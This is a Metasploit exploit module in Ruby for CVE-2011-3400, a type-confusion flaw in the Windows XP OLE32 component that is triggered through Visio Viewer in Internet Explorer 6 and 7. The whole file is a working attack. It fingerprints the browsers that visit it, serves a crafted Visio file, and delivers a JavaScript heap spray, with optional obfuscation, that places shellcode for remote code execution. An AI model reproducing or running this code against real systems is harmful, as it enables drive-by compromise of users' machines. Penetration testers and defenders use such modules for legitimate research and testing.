Microsoft Windows – OLE Object File Handling Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution", 'Description' => %q{ This module exploits a type confusion vulnerability in the OLE32 component of Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple function. A Visio document with a specially crafted Summary Information Stream embedded allows to get remote code execution through Internet Explorer, on systems with Visio Viewer installed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2011-3400' ], [ 'OSVDB', '77663'], [ 'BID', '50977' ], [ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ], [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ] ], 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3 / Visio Viewer 2010', { 'Offset' => '0x7ee - code.length', 'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header } ], [ 'IE 7 on Windows XP SP3 / Visio Viewer 2010', { 'Offset' => '0x7ee - code.length', 'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 13 2011", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] # IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] # IE 7 on Windows XP SP3 else return nil end end def exploit @vsd = create_vsd super end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end print_status("Client requesting: #{request.uri}") if request.uri =~ /\.vsd$/ @vsd[5106, 2] = my_target['PtrToHeap'] print_status("Sending Exploit VSD") send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' }) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_pivot = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x1e0; i++) { heap_obj.alloc(block); } JS js_pivot = heaplib(js_pivot, {:noobfu => true}) if datastore['OBFUSCATE'] js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot) js_pivot.obfuscate end vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd" html = %Q| <html> <head> <script> #{js_pivot} </script> </head> <body> <object classid="clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB" ID="target"> <param name=src value="#{vsd_uri}"> </object> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end def create_vsd path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" ) fd = ::File.open( path, "rb" ) vsd = fd.read(fd.stat.size) fd.close return vsd end end |